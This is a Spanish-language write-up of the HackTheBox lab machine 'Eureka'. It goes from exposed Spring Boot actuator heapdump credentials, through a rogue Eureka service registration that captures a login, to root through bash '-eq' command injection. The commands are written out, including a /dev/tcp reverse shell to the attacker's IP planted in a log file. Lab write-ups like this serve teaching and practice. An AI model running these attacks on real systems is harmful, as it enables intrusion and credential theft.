Eureka – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

Avatar eureka


Resumen Link to heading

“Eureka” es una máquina Difícil de la plataforma HackTheBox. La máquina víctima está corriendo un sitio web sobre Spring Boot. Este servicio tiene el endpoint actuator expuesto, del cual somos capaces de extraer un archivo heeapdump el cual contiene credenciales para un usuario (válidas para SSH) y otras credenciaels para otro servicio web corriendo en otro puerto, el cual resulta ser Netflix Eureka. Somos capaces de agregar a nuestra máquina de atacantes dentro de los servidores que cargan los servicios en Eureka. Esto significa que las solicitudes realizadas a la máquina víctima son “delegadas” a nuestra máquina de atacantes; de donde podemos ver la contraseña de un segundo usuario. Una vez dentro de la máquina víctima, ésta se encuentra corriendo un script de Bash vulnerable a Command Injection. Como el segundo usuario obtenido, somos capaces de envenenar un archivo de log e inyectar un comando como root; comprometiendo así el sistema.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap buscando por puertos TCP abiertos. Sólo encontramos 3 puertos abiertos: 22 SSH, 80 y 8761 HTTP:

❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.66

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:06 -04
Happy 28th Birthday to Nmap, may it live to be 128!
Initiating SYN Stealth Scan at 01:06
Scanning 10.10.11.66 [65535 ports]
Discovered open port 22/tcp on 10.10.11.66
Discovered open port 80/tcp on 10.10.11.66
Discovered open port 8761/tcp on 10.10.11.66
Completed SYN Stealth Scan at 01:07, 16.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.66
Host is up, received user-set (0.22s latency).
Scanned at 2025-09-01 01:06:56 -04 for 17s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
8761/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
           Raw packets sent: 80816 (3.556MB) | Rcvd: 79875 (3.195MB)

Aplicando algunos script de reconocimiento con Nmap usando la flag -sVC sobre los puertos abeirtos hallados obtenemos ahora:

❯ sudo nmap -sVC -p22,80,8761 10.10.11.66

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:08 -04
Nmap scan report for 10.10.11.66
Host is up (0.29s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds

Del escaneo del puerto 80 HTTP podemos ver que redirige al sitio http://furni.htb.

Por tanto, agregamos el dominio furni.htb junto con la IP de la máquina víctima a nuestro archivo /etc/hosts:

❯ echo '10.10.11.66 furni.htb' | sudo tee -a /etc/hosts

Una vez hecho, usamos WhatWeb para revisar tecnologías siendo usadas por el servidor; hacemos esto para el puerto 80 y 8761:

❯ whatweb -a 3 http://furni.htb

http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]

❯ whatweb -a 3 http://furni.htb:8761

http://furni.htb:8761 [401 Unauthorized] Cookies[JSESSIONID], Country[RESERVED][ZZ], HttpOnly[JSESSIONID], IP[10.10.11.66], Java, UncommonHeaders[x-content-type-options], WWW-Authenticate[Realm][Basic], X-Frame-Options[DENY], X-XSS-Protection[0]

El sitio en el puerto 80 está corriendo sobre Nginx, mientras que el puerto 8761 está aparentemente usando Java para correr el servidor web.

Visitando http://furni.htb en un navegador web muestra un sitio web acerca de muebles:

Eureka 1

Si visitamos el sitio web en el puerto 8761 éste solamente muestra un panel de login de HTTP:

Eureka 2

Pero credenciales sencillas no funcionan.

Para ver sobre qué software está corriendo este servidor web podemos buscar por una página inexistente y ver su respuesta. Por ejemplo, si buscamos por la ruta http://furni.htb/loquesea obtenemos la respuesta:

Eureka 3

Revisando entonces el blog de 0xdf para páginas de código 404 encontramos que aquella página corresponde a Spring Boot:

Información
Spring Boot is a Java web framework for creating Spring based web applications. Spring is a lightweight framework that offers an elaborate environment for robust programming and configuration model for Java-based applications. Spring Boot is a Java-based framework that is best for creating stand-alone, Spring-based applications in a short period.

Podemos buscar por directorios a través de un simple Brute Force Directory Listing con Gobuster. Primero que todo, buscamos si es que hay algún diccionario/wordlist especialmente dedicado a Spring Boot en SecLists:

❯ find /usr/share/seclists -name "*Spring*" 2>/dev/null

/usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt

Hay uno.

Usamos aquel diccionario para buscar por directorios junto con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -u http://furni.htb -t 40

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://furni.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator             (Status: 200) [Size: 2129]
/actuator/caches      (Status: 200) [Size: 20]
/actuator/features    (Status: 200) [Size: 467]
/actuator/env/lang    (Status: 200) [Size: 668]
/actuator/env/home    (Status: 200) [Size: 668]
/actuator/info        (Status: 200) [Size: 2]
/actuator/env/path    (Status: 200) [Size: 668]
/actuator/refresh     (Status: 405) [Size: 114]
/actuator/health      (Status: 200) [Size: 15]
/actuator/env         (Status: 200) [Size: 6307]
/actuator/metrics     (Status: 200) [Size: 3319]
/actuator/sessions    (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/mappings    (Status: 200) [Size: 35560]
/actuator/loggers     (Status: 200) [Size: 98345]
/actuator/conditions  (Status: 200) [Size: 184221]
/actuator/beans       (Status: 200) [Size: 202253]
/actuator/threaddump  (Status: 200) [Size: 232775]
Progress: 120 / 121 (99.17%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
Progress: 120 / 121 (99.17%)
===============================================================
Finished
===============================================================

Parece ser que el directorio /actuator está expuesto.

Basados en este blog, el directorio Actuator es un endpoint utilizado principalmente para debuggear; por lo que el hecho de que éste esté expuesto puede ser una pista.

Este otro blog muestra por qué que el directorio /actuator esté expuesto en Spring Boot podría ser peligroso. Se menciona una ruta /actuator/heapdump -como se puede ver aquí-. Utilizando el comando sugreido con cURL para extraer este archivo toma tiempo; por lo que parece que el archivo sí existe:

❯ curl 'http://furni.htb/actuator/heapdump' -O

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 76.4M  100 76.4M    0     0  1964k      0  0:00:39  0:00:39 --:--:-- 2986k

Éste toma su tiempo en descargarse ya que pesa casi 76.4M.

¿Por qué el escaneo con Gobuster no mostró esta ruta? Como este archivo es tan grande, la respuesta toma más de 10 segundos (el valor por defecto para Gobuster). Al no haber respuesta se toma como que la ruta no existe y por eso no es reportado.

Tal cual sugiere el blog, podríamos tratar encontrar credenciales en este archivo heapdump. Para este propósito podemos utilizar strings junto con grep, buscando por la palabra password=:

❯ strings heapdump | grep -i 'password='

proxyPassword='
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
update users set email=?,first_name=?,last_name=?,password=? where id=?!

Tenemos lo que parece ser una contraseña 0sc@r190_S0l!dP@sswd y un usuario oscar190.

De manera alternativa, podemos utilizar la herramienta JDumpSpider (la cual puede ser descargada desde su repositorio de Github) para buscar por credenciales. Primero la descargamos:

❯ wget https://github.com/whwlsfb/JDumpSpider/releases/download/dev-20250409T071858/JDumpSpider-1.1-SNAPSHOT-full.jar -q

Y utilizamos esta herramienta pasando como argumento el archivo heapdump:

❯ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190

===========================================
<SNIP>
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none

===========================================
<SNIP>

Este herramienta no solo encuentra credenciales para el usuario oscar190, también lo hace para el sitio corriendo en el puerto 8761 tal cual puede ser visto en:

http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

tenemos un nuevo par de credenciales: EurekaSrvr:0scarPWDisTheB3st.

Utilizando estas credenciales en http://furni.htb:8761 funciona. Estamos dentro:

Eureka 4

También revisamos si las credenciaels para el usuario oscar190 son válidas para el servicio SSH con NetExec:

❯ nxc ssh 10.10.11.66 -u 'oscar190' -p '0sc@r190_S0l!dP@sswd'

SSH         10.10.11.66     22     10.10.11.66      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     10.10.11.66      [+] oscar190:0sc@r190_S0l!dP@sswd  Linux - Shell access!

Son válidas.

Accedemos a la máquina víctima usando estas credenciales:

❯ sshpass -p '0sc@r190_S0l!dP@sswd' ssh -o stricthostkeychecking=no oscar190@10.10.11.66

<SNIP>
Last login: Mon Sep 1 06:18:22 2025 from 10.10.16.10
oscar190@eureka:~$

La flag de usuario user.txt no está, por lo que debemos pivotear a otro usuario.

Buscando por usuarios en la máquina víctima, existe otro llamado miranda-wise:

oscar190@eureka:~$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash

En el directorio /opt hay algunos archivos. Más específicamente hay un archivo/script log_analyse-sh el cual podemos leer:

oscar190@eureka:~$ ls -la /opt

total 24
drwxr-xr-x  4 root root     4096 Mar 20 14:17 .
drwxr-xr-x 19 root root     4096 Apr 22 12:47 ..
drwxrwx---  2 root www-data 4096 Aug  7  2024 heapdump
-rwxrwxr-x  1 root root     4980 Mar 20 14:17 log_analyse.sh
drwxr-x---  2 root root     4096 Apr  9 18:34 scripts

Si lo leemos, vemos que este es un gigantezco script de Bash el cual analiza logs. Leyendo el script, una función que es vulnerable es:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

Este script se encuentra revisando el código de estado en la línea HTTP Status: <status code>.

Más específicamente, la línea interesante aquí es:

if ` "$existing_code" -eq "$code" `; then

Dado que podemos manipular la variable $code, podríamos tratar de realizar un Command Injection (inyección de comandos).

Este blog explica por qué usar -eq puede ser una grave falla si es que somos capaces de manipular una de las variables siendo comparadas. Como ejemplo, se da un simple código de Bash:

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if ` "$NUM" -eq 100 `;then
  echo "OK"
else
  echo "NG"
fi

Donde el parámetro manipulable es NUM. Por lo que para llegar a un Command Injection (inyección de comandos) gracias -eq se puede ejecutar por ejemplo:

$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG

Revisamos si existen cronjobs (tareas) ejecutándose utilizando pspy. Primero, descargamos su binario desde su repositorio de Github y lo pasamos a la máquina víctima utilizando scp junto con las credenciales del usuario oscar190:

❯ sshpass -p '0sc@r190_S0l!dP@sswd' scp pspy64 oscar190@10.10.11.66:/tmp/pspy

Asignamos permisos de ejecución al binario transferido, lo ejecutamos y esperamos un poco:

oscar190@eureka:~$ chmod +x /tmp/pspy

oscar190@eureka:~$ /tmp/pspy

<SNIP>
2025/09/01 06:38:49 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity
2025/09/01 06:39:01 CMD: UID=0     PID=133690 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0     PID=133691 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0     PID=133693 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133694 | curl -s -i http://localhost:8081/login
2025/09/01 06:39:01 CMD: UID=0     PID=133698 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133696 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133701 | grep -oP (?<=Set-Cookie: SESSION=)[^;]+
2025/09/01 06:39:01 CMD: UID=0     PID=133700 | ???
2025/09/01 06:39:01 CMD: UID=0     PID=133699 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133702 | mktemp
2025/09/01 06:39:01 CMD: UID=0     PID=133703 | cat
2025/09/01 06:39:01 CMD: UID=0     PID=133704 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133707 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133710 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133713 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133716 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133719 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133722 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133724 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0     PID=133723 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0     PID=133726 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0     PID=133725 |
2025/09/01 06:40:01 CMD: UID=0     PID=133727 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133728 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133731 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133730 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133729 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133734 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133733 | grep LoginSuccessLogger /var/www/web/cloud-gateway/log/application.log
2025/09/01 06:40:01 CMD: UID=0     PID=133732 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
<SNIP>

El script /opt/log_analyse.sh está utilizando el archivo application.log. También hay un script /opt/scripts/miranda-Login-Simulator.sh siendo ejecutado (el cual, adelanto, no podemos leer).

Revisamos si tenemos permisos de lectura o escritura sobre el archivo .log encontrado:

oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)

oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 21433 Sep  1 06:46 /var/www/web/cloud-gateway/log/application.log

No los tenemos. Sólo el usuario www-data tiene permisos sobre este archivo.

Si revisamos los permisos del directorio /var/www/web/cloud-gateway/log/ (el directorio que contiene al archivo application.log) tenemos:

oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/

total 48
drwxrwxr-x 2 www-data developers  4096 Sep  1 05:05 .
drwxrwxr-x 6 www-data developers  4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data   22339 Sep  1 06:47 application.log
-rw-rw-r-- 1 www-data www-data    5702 Apr 23 07:37 application.log.2025-04-22.0.gz
-rw-rw-r-- 1 www-data www-data    5956 Sep  1 05:05 application.log.2025-04-23.0.gz

Podemos ver que el grupo developers también puede escribir en este grupo (es uno de los dueños de este directorio).

Pero sólo el usuario miranda-wise es miembro del grupo developers:

oscar190@eureka:~$ getent group developers

developers:x:1003:miranda-wise

Por lo que debemos de hallar una manera de pivotear aquel usuario.

Ahora es cuando el servicio Eureka entra en juego. Si buscamos por netflix eureka (ya que Netflix provee la idea de este servicio open source) tenemos:

Información
Netflix Eureka is a service registry and discovery tool designed for cloud-based microservice architectures, allowing individual services to register themselves and dynamically discover other services without manual configuration. It consists of a Eureka Server, which acts as a central registry, and Eureka Clients, which are the microservices that register and query the server to find other services. Eureka is particularly useful in dynamic environments where service instances may change locations or scale up and down, facilitating dynamic load balancing and communication between services.

Esta página hace la relación entre Eureka y Spring Boot. Básicamente, podemos agregar nuestra IP de atacantes al balanceador dinámico del servicio. Para “alivianar” cargas, uno podría establecer un mismo servicio y que distintas ejecuciones de éste se distribuyan en distintos servicios. Eso es lo que es Eureka a manera muy resumida. Por lo que si algún usuario hace alguna petición a un servicio del cual nosotros también seamos “carga”, existe la posibilidad de que la tarea sea asignada a nuestra máquina de atacantes y poder ver información (como credenciales). Este otro blog explica cómo atacar el servicio de Eureka agregando una instancia maliciosa. Volviendo a la página web corriendo en el puerto 8761 podemos ver 3 instancias (instances) en Eureka:

Eureka 5

Tenemos una instancia app-geteway en el puerto 8080, una app llamada Furni (probablemente sea el sitio web) en el puerto 8082 y una instancia llamada User-Management-Service por el puerto 8081. Ésta última tiene un nombre bastante llamativo ya que hace mención a que está relacionada a la administración de usuarios.

Siguiendo el blog, y también basados en la REST API para Eureka, podemos agregar un payload (instancia maliciosa) con cURL:

❯ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE  -H 'Content-Type: application/json' -d '{
  "instance": {
    "instanceId": "gunzf0x",
    "hostName": "10.10.16.10",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.16.10",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": {
      "$": 8081,
      "@enabled": "true"
    },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}'

Donde 10.10.16.10 es nuestra IP de atacantes, nombrando la instancia maliciosa como gunzf0x.

Si volvemos a ver la página de Eureka (recargamos la página), nuestra instancia es agregada:

Eureka 6

Ya que hemos definido el puerto 8081 como instancia para USER-MANAGEMENT-SERVICE, empezamos un listenerr con netcat en aquel puerto (o también podríamos levantar un servidor HTTP con Python temporal). Luego de un tiempo obtenemos una petición HTTP:

❯ nc -lvnp 8081

listening on [any] 8081 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 60372
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OWMwNWNjYjMtZDY3Ni00ZTMyLWE2MjQtZjRmN2I2NmQ4NGMx
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:55214"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.16.10:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=tVeYamwuq0Ip_wtToyfLpdJLSrx1CAW7fOVu_91KEt7y62plgWP5DF5KmScEmm9hwgr_xOB8Z90Ubj2WSYFXmrlyK-3C2FlS

ISi url-decodeamos el valor de password tenemos así: IL!veT0Be&BeT0L0ve.

Revisamos si esta contraseña funciona para el usuario miranda-wise con NetExec para el servicio SSH:

❯ nxc ssh 10.10.11.66 -u 'miranda-wise' -p 'IL!veT0Be&BeT0L0ve'

SSH         10.10.11.66     22     10.10.11.66      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     10.10.11.66      [+] miranda-wise:IL!veT0Be&BeT0L0ve  Linux - Shell access!

Funcionó.

Logueamos así en la máquina víctima como el usuario miranda-wise a través de SSH:

❯ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh -o stricthostkeychecking=no miranda-wise@10.10.11.66

<SNIP>
Last login: Mon Sep 1 07:29:16 2025 from 10.10.16.10
miranda-wise@eureka:~$

Podemos extraer la flag de usuario.


Root Link to heading

Ahora que somos el usuario miranda-wise, somos parte del grupo developers:

miranda-wise@eureka:~$ id

uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

Recordar que el grupo developers podría escribir archivos en el directorio /var/www/web/cloud-gateway/log/, donde está alojado el archivo application.log que se pasaba al script /opt/log_analyser.

Por lo que podemos intentar un Command Injection en log_analyser.sh. Tal cual mostró pspy, el usuario PID=0 está ejecutando aquella tarea; es decir, root. Como ya habíamos visto, no tenemos permisos directors sobre el archivo application.log. Pero sí tenemos permisos sobre el directorio el cual contiene aquel archivo ya que somos miembros del grupo developers. Esto quiere decir que no podemos modificar directamente el archivo, pero sí que podemos removerlo o renombrarlo:

Recordando, la función vulnerable era:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

Necesitamos escribir el payload a la derecha del string Status: . Pero, como se puede ver también con grep, éste está esperando la palabra HTTP Status. Ergo, el payload puede tener la forma:

HTTP Status: <payload>

Trataremos de enviarnos una reverse shell, y para ello primero debemos empezar un listener con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Primero podemos renombrar el archivo application.log, para luego escribir un nuevo archivo application.log el cual nos enviará una reverse shell al ser ejecutado por la inyección de comando:

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log application_copy.log

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1)]' > application.log

Luego de algunos segundos obtenemos una shell como el usuario root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 40226
bash: cannot set terminal process group (222139): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~# whoami

whoami
root

GG. Podemos extraer la flag del usuario root en el directorio /root.

~Happy Hacking.